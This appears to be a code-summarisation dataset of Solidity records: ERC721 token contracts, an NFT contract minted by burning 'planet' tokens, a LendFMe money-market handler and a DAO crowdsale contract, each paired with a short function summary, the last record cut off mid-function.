function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId, true);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId, true);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
function _burnSave(address owner, uint256 tokenId) internal virtual {
_beforeTokenTransfer(owner, address(0), tokenId, false);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId, true);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
// solhint-disable-next-line no-inline-assembly
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId, bool isDelete) internal virtual { }
}
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId, bool isDelete) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId, isDelete);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0) && isDelete) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from && isDelete) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
pragma solidity ^0.8.0;
contract elements is ERC721Enumerable, Ownable {
using SafeMath for uint256;
using Address for address;
using Strings for uint256;
uint256 public MAX_SUPPLY = 300;
bool public saleIsActive = false;
//code to reference Pixel Runes
ERC721 planets = ERC721(0xB228077BCE558dd6844032c29630f13818C4C4Dc);
uint256 public startingIndex;
uint256 public startingIndexBlock;
string private _baseURIExtended;
mapping (uint256 => string) _tokenURIs;
constructor() ERC721("Pixel Elements","ELEMENTS"){
}
function flipSaleState() public onlyOwner {
saleIsActive = !saleIsActive;
}
function withdraw() public onlyOwner {
uint balance = address(this).balance;
payable(msg.sender).transfer(balance);
}
function reserveTokens(uint256 num) public onlyOwner {
uint supply = totalSupply();
uint i;
for (i = 0; i < num; i++) {
_safeMint(msg.sender, supply + i);
}
if (startingIndexBlock == 0) {
startingIndexBlock = block.number;
}
}
function setMaxTokenSupply(uint256 maxSupply) public onlyOwner {
MAX_SUPPLY = maxSupply;
}
function mint(uint256 tokenId) public {
require(planets.ownerOf(tokenId) == msg.sender, "Not Owner Of this planet");
require(saleIsActive, "Sale is not active at the moment");
require((totalSupply() + 1) <= MAX_SUPPLY, "Purchase would exceed max supply");
//burn planet
address burner = planets.ownerOf(tokenId);
planets.transferFrom(burner, address(0x000000000000000000000000000000000000dEaD), tokenId);
if ((totalSupply() + 1) <= MAX_SUPPLY) {
_safeMint(msg.sender, totalSupply());
}
}
function calcStartingIndex() public onlyOwner {
require(startingIndex == 0, "Starting index has already been set");
require(startingIndexBlock != 0, "Starting index has not been set yet");
startingIndex = uint(blockhash(startingIndexBlock)) % MAX_SUPPLY;
// Just a sanity case in the worst case if this function is called late (EVM only stores last 256 block hashes)
if(block.number.sub(startingIndexBlock) > 255) {
startingIndex = uint(blockhash(block.number - 1)) % MAX_SUPPLY;
}
// To prevent original sequence
if (startingIndex == 0) {
startingIndex = startingIndex.add(1);
}
}
function emergencySetStartingIndexBlock() public onlyOwner {
require(startingIndex == 0, "Starting index is already set");
startingIndexBlock = block.number;
}
function _baseURI() internal view virtual override returns (string memory) {
return _baseURIExtended;
}
// Sets base URI for all tokens, only able to be called by contract owner
function setBaseURI(string memory baseURI_) external onlyOwner {
_baseURIExtended = baseURI_;
}
function setPlanetContract(address address_) external onlyOwner {
planets = ERC721(address_);
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = _baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
// If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI.
return string(abi.encodePacked(base, tokenId.toString()));
}
}
|
Just a sanity case in the worst case if this function is called late (EVM only stores last 256 block hashes) To prevent original sequence
|
function calcStartingIndex() public onlyOwner {
require(startingIndex == 0, "Starting index has already been set");
require(startingIndexBlock != 0, "Starting index has not been set yet");
startingIndex = uint(blockhash(startingIndexBlock)) % MAX_SUPPLY;
if(block.number.sub(startingIndexBlock) > 255) {
startingIndex = uint(blockhash(block.number - 1)) % MAX_SUPPLY;
}
if (startingIndex == 0) {
startingIndex = startingIndex.add(1);
}
}
| 236,134
|
pragma solidity 0.5.12;
import "./Handler.sol";
import "./interface/ILendFMe.sol";
import "./library/ReentrancyGuard.sol";
contract MoneyMarketHandler is Handler, ReentrancyGuard {
address public targetAddr; // market address
mapping(address => uint256) public interestDetails;
event NewdTargetAddr(
address indexed originalTargetAddr,
address indexed newTargetAddr
);
constructor(address _HNITokenController, address _targetAddr) public {
initialize(_HNITokenController, _targetAddr);
}
// --- Init ---
// This function is used with contract proxy, do not modify this function.
function initialize(address _HNITokenController, address _targetAddr) public {
super.initialize(_HNITokenController);
initReentrancyStatus();
targetAddr = _targetAddr;
}
/**
* @dev Update market contract address.
* @param _newTargetAddr The new market contract address.
*/
function setTargetAddr(address _newTargetAddr) external auth {
require(
_newTargetAddr != targetAddr,
"setTargetAddr: The same market address!"
);
address _originalTargetAddr = targetAddr;
targetAddr = _newTargetAddr;
emit NewdTargetAddr(_originalTargetAddr, _newTargetAddr);
}
/**
* @dev This token `_underlyingToken` approves to market and HNIToken contract.
* @param _underlyingToken Token address to approve.
*/
function approve(address _underlyingToken, uint256 amount) public {
require(
doApprove(_underlyingToken, targetAddr, amount),
"approve: Approve market failed!"
);
super.approve(_underlyingToken, amount);
}
/**
* @dev Deposit token to market, but only for HNIToken contract.
* @param _underlyingToken Token to deposit.
* @return True is success, false is failure.
*/
function deposit(address _underlyingToken, uint256 _amount)
external
auth
whenNotPaused
nonReentrant
returns (uint256)
{
require(
tokenIsEnabled(_underlyingToken),
"deposit: Token is disabled!"
);
require(
_amount > 0,
"deposit: Deposit amount should be greater than 0!"
);
// Update the stored interest with the market balance before the deposit
uint256 _MarketBalanceBefore = _updateInterest(_underlyingToken);
// Mint all the token balance of the handler,
// which should be the exact deposit amount normally,
// but there could be some unexpected transfers before.
uint256 _handlerBalance = IERC20(_underlyingToken).balanceOf(
address(this)
);
require(
ILendFMe(targetAddr).supply(_underlyingToken, _handlerBalance) == 0,
"deposit: Fail to supply to money market!"
);
// including unexpected transfers.
uint256 _MarketBalanceAfter = getBalance(_underlyingToken);
uint256 _changedAmount = _MarketBalanceAfter.sub(_MarketBalanceBefore);
// return a smaller value as unexpected transfers were also included.
return _changedAmount > _amount ? _amount : _changedAmount;
}
/**
* @dev Withdraw token from market, but only for HNIToken contract.
* @param _underlyingToken Token to withdraw.
* @param _amount Token amount to withdraw.
* @return Actually withdraw token amount.
*/
function withdraw(address _underlyingToken, uint256 _amount)
external
auth
whenNotPaused
nonReentrant
returns (uint256)
{
require(
_amount > 0,
"withdraw: Withdraw amount should be greater than 0!"
);
_updateInterest(_underlyingToken);
uint256 _handlerBalanceBefore = IERC20(_underlyingToken).balanceOf(
address(this)
);
require(
ILendFMe(targetAddr).withdraw(_underlyingToken, _amount) == 0,
"withdraw: Fail to withdraw from money market!"
);
// including unexpected transfer.
uint256 _handlerBalanceAfter = IERC20(_underlyingToken).balanceOf(
address(this)
);
uint256 _changedAmount = _handlerBalanceAfter.sub(
_handlerBalanceBefore
);
// return a smaller value.
return _changedAmount > _amount ? _amount : _changedAmount;
}
/**
* @dev Update the handler deposit interest based on the underlying token.
*/
function _updateInterest(address _underlyingToken)
internal
returns (uint256)
{
uint256 _balance = getBalance(_underlyingToken);
(uint256 _underlyingBalance, ) = ILendFMe(targetAddr).supplyBalances(
address(this),
_underlyingToken
);
// Interest = Balance - UnderlyingBalance.
uint256 _interest = _balance.sub(_underlyingBalance);
// Update the stored interest
interestDetails[_underlyingToken] = interestDetails[_underlyingToken]
.add(_interest);
return _balance;
}
/**
* @dev Total balance with any accumulated interest for _underlyingToken belonging to handler
* @param _underlyingToken Token to get balance.
*/
function getRealBalance(address _underlyingToken)
public
view
returns (uint256)
{
return
ILendFMe(targetAddr).getSupplyBalance(
address(this),
_underlyingToken
);
}
/**
* @dev The maximum withdrawable _underlyingToken in the market.
* @param _underlyingToken Token to get liquidity.
*/
function getRealLiquidity(address _underlyingToken)
public
view
returns (uint256)
{
uint256 _underlyingBalance = getRealBalance(_underlyingToken);
uint256 _cash = IERC20(_underlyingToken).balanceOf(targetAddr);
return _underlyingBalance > _cash ? _cash : _underlyingBalance;
}
/***************************************************/
/*** View Interfaces For Backwards compatibility ***/
/***************************************************/
/**
* @dev Total balance with any accumulated interest for `_underlyingToken` belonging to `handler`.
* @param _underlyingToken Token to get balance.
*/
function getBalance(address _underlyingToken)
public
view
returns (uint256)
{
return getRealBalance(_underlyingToken);
}
/**
* @dev The maximum withdrawable amount of token `_underlyingToken` in the market.
* @param _underlyingToken Token to get balance.
*/
function getLiquidity(address _underlyingToken)
public
view
returns (uint256)
{
return getRealLiquidity(_underlyingToken);
}
}
|
This token `_underlyingToken` approves to market and HNIToken contract. _underlyingToken Token address to approve./
|
function approve(address _underlyingToken, uint256 amount) public {
require(
doApprove(_underlyingToken, targetAddr, amount),
"approve: Approve market failed!"
);
super.approve(_underlyingToken, amount);
}
| 2,543,655
|
./partial_match/4/0xd2a65829CA294089efC3397C65A464Ce69b7a41A/sources/NftRelay.sol
|
Gets the total amount of NFT stored by the contract. return uint256 representing the total amount of NFT/
|
function totalSupply() public view returns (uint256) {
return _allNft.length;
}
| 8,514,219
|
pragma solidity ^0.4.15;
interface TokenInterface {
function mint(address _to, uint256 _amount) public returns (bool);
function finishMinting() public returns (bool);
function totalSupply() public constant returns (uint);
function balanceOf(address _address) public constant returns (uint);
function burn(address burner);
function hold(address addr, uint duration) external;
function transfer(address _to, uint _amount) external;
function contributeTo(address _to, uint256 _amount) public;
}
interface VotingFactoryInterface {
function createRegular(address _creator, string _name, string _description, uint _duration, bytes32[] _options) external returns (address);
function createWithdrawal(address _creator, string _name, string _description, uint _duration, uint _sum, address withdrawalWallet, bool _dxc) external returns (address);
function createRefund(address _creator, string _name, string _description, uint _duration) external returns (address);
function createModule(address _creator, string _name, string _description, uint _duration, uint _module, address _newAddress) external returns (address);
function setDaoFactory(address _dao) external;
}
library DAOLib {
event VotingCreated(
address voting,
string votingType,
address dao,
string name,
string description,
uint duration,
address sender
);
/*
* @dev Receives parameters from crowdsale module in case of successful crowdsale and processes them
* @param token Instance of token contract
* @param commissionRaised Amount of funds which were sent via commission contract
* @param serviceContract Address of contract which receives commission
* @param teamBonuses Array of percents which indicates the number of token for every team member
* @param team Array of team members' addresses
* @param teamHold Array of timestamp until which the tokens will be held for every team member
* @return uint Amount of tokens minted for team
*/
function handleFinishedCrowdsale(TokenInterface token, uint commissionRaised, address serviceContract, uint[] teamBonuses, address[] team, uint[] teamHold) returns (uint) {
uint commission = (commissionRaised / 100) * 4;
serviceContract.call.gas(200000).value(commission)();
uint totalSupply = token.totalSupply() / 100;
uint teamTokensAmount = 0;
for (uint i = 0; i < team.length; i++) {
uint teamMemberTokensAmount = SafeMath.mul(totalSupply, teamBonuses[i]);
teamTokensAmount += teamMemberTokensAmount;
token.mint(team[i], teamMemberTokensAmount);
token.hold(team[i], teamHold[i]);
}
return teamTokensAmount;
}
function delegatedCreateRegular(VotingFactoryInterface _votingFactory, string _name, string _description, uint _duration, bytes32[] _options, address _dao) returns (address) {
address _votingAddress = _votingFactory.createRegular(msg.sender, _name, _description, _duration, _options);
VotingCreated(_votingAddress, "Regular", _dao, _name, _description, _duration, msg.sender);
return _votingAddress;
}
function delegatedCreateWithdrawal(VotingFactoryInterface _votingFactory, string _name, string _description, uint _duration, uint _sum, address withdrawalWallet, bool _dxc, address _dao)
returns (address)
{
address _votingAddress = _votingFactory.createWithdrawal(msg.sender, _name, _description, _duration, _sum, withdrawalWallet, _dxc);
VotingCreated(_votingAddress, "Withdrawal", _dao, _name, _description, _duration, msg.sender);
return _votingAddress;
}
function delegatedCreateRefund(VotingFactoryInterface _votingFactory, string _name, string _description, uint _duration, address _dao) returns (address) {
address _votingAddress = _votingFactory.createRefund(msg.sender, _name, _description, _duration);
VotingCreated(_votingAddress, "Refund", _dao, _name, _description, _duration, msg.sender);
return _votingAddress;
}
function delegatedCreateModule(VotingFactoryInterface _votingFactory, string _name, string _description, uint _duration, uint _module, address _newAddress, address _dao) returns (address) {
address _votingAddress = _votingFactory.createModule(msg.sender, _name, _description, _duration, _module, _newAddress);
VotingCreated(_votingAddress, "Module", _dao, _name, _description, _duration, msg.sender);
return _votingAddress;
}
/*
* @dev Counts the number of tokens that should be minted according to amount of sent funds and current rate
* @param value Amount of sent funds
* @param bonusPeriods Array of timestamps indicating bonus periods
* @param bonusRates Array of rates for every bonus period
* @param rate Default rate
* @return uint Amount of tokens that should be minted
*/
function countTokens(uint value, uint[] bonusPeriods, uint[] bonusRates, uint rate) constant returns (uint) {
if (bonusRates.length == 0) return value * rate; // DXC bonus rates could be empty
for (uint i = 0; i < bonusPeriods.length; i++) {
if (now < bonusPeriods[i]) {
rate = bonusRates[i];
break;
}
}
uint tokensAmount = SafeMath.mul(value, rate);
return tokensAmount;
}
/*
* @dev Counts the amount of funds that must be returned to participant
* @param tokensAmount Amount of tokens on participant's balance
* @param etherRate Rate for ether during the crowdsale
* @param newRate Current rate according to left funds and total supply of tokens
* @param multiplier Multiplier that was used in previous calculations to avoid issues with float numbers
* @return uint Amount of funds that must be returned to participant
*/
function countRefundSum(uint tokensAmount, uint etherRate, uint newRate, uint multiplier) constant returns (uint) {
uint fromPercentDivider = 100;
return (tokensAmount / fromPercentDivider * newRate) / (multiplier * etherRate);
}
}
contract CrowdsaleDAOFields {
uint public etherRate;
uint public DXCRate;
uint public softCap;
uint public hardCap;
uint public startTime;
uint public endTime;
bool public canInitCrowdsaleParameters = true;
bool public canInitStateParameters = true;
bool public canInitBonuses = true;
bool public canSetWhiteList = true;
uint public commissionRaised = 0; // Funds which were provided via commission contract
uint public weiRaised = 0;
uint public DXCRaised = 0;
uint public fundsRaised = 0;
mapping(address => uint) public depositedWei; // Used for refund in case of not reached soft cap
mapping(address => uint) public depositedDXC; // Used for refund in case of not reached soft cap
bool public crowdsaleFinished;
bool public refundableSoftCap = false;
uint public newEtherRate = 0; // Used for refund after accept of Refund proposal
uint public newDXCRate = 0; // Used for refund after accept of Refund proposal
address public serviceContract; //Contract which gets commission funds if soft cap was reached during the crowdsale
uint[] public teamBonusesArr;
address[] public team;
mapping(address => bool) public teamMap;
uint[] public teamHold;
bool[] public teamServiceMember;
TokenInterface public token;
VotingFactoryInterface public votingFactory;
address public commissionContract; //Contract that is used to mark funds which were provided through daox.org platform
string public name;
string public description;
uint public created_at = now; // UNIX time
mapping(address => bool) public votings;
bool public refundable = false;
uint public lastWithdrawalTimestamp = 0;
address[] public whiteListArr;
mapping(address => bool) public whiteList;
mapping(address => uint) public teamBonuses;
uint[] public bonusPeriods;
uint[] public bonusEtherRates;
uint[] public bonusDXCRates;
uint public teamTokensAmount;
uint constant internal withdrawalPeriod = 120 * 24 * 60 * 60;
TokenInterface public DXC;
uint public tokensMintedByEther;
uint public tokensMintedByDXC;
bool public dxcPayments; //Flag indicating whether it is possible to invest via DXC token or not
uint internal constant multiplier = 100000;
uint internal constant percentMultiplier = 100;
}
contract Owned {
address public owner;
function Owned(address _owner) {
owner = _owner;
}
function transferOwnership(address newOwner) onlyOwner(msg.sender) {
owner = newOwner;
}
modifier onlyOwner(address _sender) {
require(_sender == owner);
_;
}
}
interface IDAOPayable {
function handleCommissionPayment(address _sender) payable;
}
contract Commission {
IDAOPayable dao;
function Commission(address _dao) {
dao = IDAOPayable(_dao);
}
function() payable {
dao.handleCommissionPayment.value(msg.value)(msg.sender);
}
}
contract State is CrowdsaleDAOFields {
address public owner;
event State(address _comission);
/*
* @dev Sets addresses of token which will be minted during the crowdsale and address of DXC token contract so that
* DAO will be able to handle investments via DXC. Also function creates instance of Commission contract for this DAO
* @param value Amount of sent funds
*/
function initState(address _tokenAddress, address _DXC)
external
onlyOwner(msg.sender)
canInit
crowdsaleNotStarted
{
require(_tokenAddress != 0x0 && _DXC != 0x0);
token = TokenInterface(_tokenAddress);
DXC = TokenInterface(_DXC);
created_at = block.timestamp;
commissionContract = new Commission(this);
canInitStateParameters = false;
State(commissionContract);
}
modifier canInit() {
require(canInitStateParameters);
_;
}
modifier crowdsaleNotStarted() {
require(startTime == 0 || block.timestamp < startTime);
_;
}
modifier onlyOwner(address _sender) {
require(_sender == owner);
_;
}
}
contract Crowdsale is CrowdsaleDAOFields {
address public owner;
/*
* @dev Receives info about ether payment from CrowdsaleDAO contract then mints tokens for sender and saves info about
* sent funds to either return it in case of refund or get commission from them in case of successful crowdsale
* @param _sender Address of sender
* @param _commission Boolean indicating whether it is needed to take commission from sent funds or not
*/
function handlePayment(address _sender, bool _commission) external payable CrowdsaleIsOngoing validEtherPurchase(msg.value) {
require(_sender != 0x0);
uint weiAmount = msg.value;
if (_commission) {
commissionRaised = commissionRaised + weiAmount;
}
weiRaised += weiAmount;
depositedWei[_sender] += weiAmount;
uint tokensAmount = DAOLib.countTokens(weiAmount, bonusPeriods, bonusEtherRates, etherRate);
tokensMintedByEther = SafeMath.add(tokensMintedByEther, tokensAmount);
token.mint(_sender, tokensAmount);
}
/*
* @dev Receives info about DXC payment from CrowdsaleDAO contract then mints tokens for sender and saves info about
* sent funds to return it in case of refund
* @param _from Address of sender
* @param _dxcAmount Amount of DXC token which were sent to DAO
*/
function handleDXCPayment(address _from, uint _dxcAmount) external CrowdsaleIsOngoing validDXCPurchase(_dxcAmount) onlyDXC {
DXCRaised += _dxcAmount;
depositedDXC[_from] += _dxcAmount;
uint tokensAmount = DAOLib.countTokens(_dxcAmount, bonusPeriods, bonusDXCRates, DXCRate);
tokensMintedByDXC = SafeMath.add(tokensMintedByDXC, tokensAmount);
token.mint(_from, tokensAmount);
}
/*
* @dev Sets main parameters for upcoming crowdsale
* @param _softCap The minimal amount of funds that must be collected by DAO for crowdsale to be considered successful
* @param _hardCap The maximal amount of funds that can be raised during the crowdsale
* @param _etherRate Amount of tokens that will be minted per one ether
* @param _DXCRate Amount of tokens that will be minted per one DXC
* @param _startTime Unix timestamp that indicates the moment when crowdsale will start
* @param _endTime Unix timestamp which indicates the moment when crowdsale will end
* @param _dxcPayments Boolean indicating whether it is possible to invest via DXC token or not
*/
function initCrowdsaleParameters(uint _softCap, uint _hardCap, uint _etherRate, uint _DXCRate, uint _startTime, uint _endTime, bool _dxcPayments)
external
onlyOwner(msg.sender)
canInit
{
require(_softCap != 0 && _hardCap != 0 && _etherRate != 0 && _DXCRate != 0 && _startTime != 0 && _endTime != 0);
require(_softCap < _hardCap && _startTime > block.timestamp);
softCap = _softCap * 1 ether;
hardCap = _hardCap * 1 ether;
(startTime, endTime) = (_startTime, _endTime);
(dxcPayments, etherRate, DXCRate) = (_dxcPayments, _etherRate, _DXCRate);
canInitCrowdsaleParameters = false;
}
/*
* @dev Finishes the crowdsale and analyzes whether it is successful or not. If it is not then DAO goes to refundableSoftCap
* state otherwise it counts and mints tokens for team members and holds them for certain period of time according to
* parameters which were set for every member via initBonuses function. In addition function sends commission to service contract
*/
function finish() external {
fundsRaised = DXCRate != 0 ? weiRaised + (DXC.balanceOf(this)) / (etherRate / DXCRate) : weiRaised;
require((block.timestamp >= endTime || fundsRaised == hardCap) && !crowdsaleFinished);
crowdsaleFinished = true;
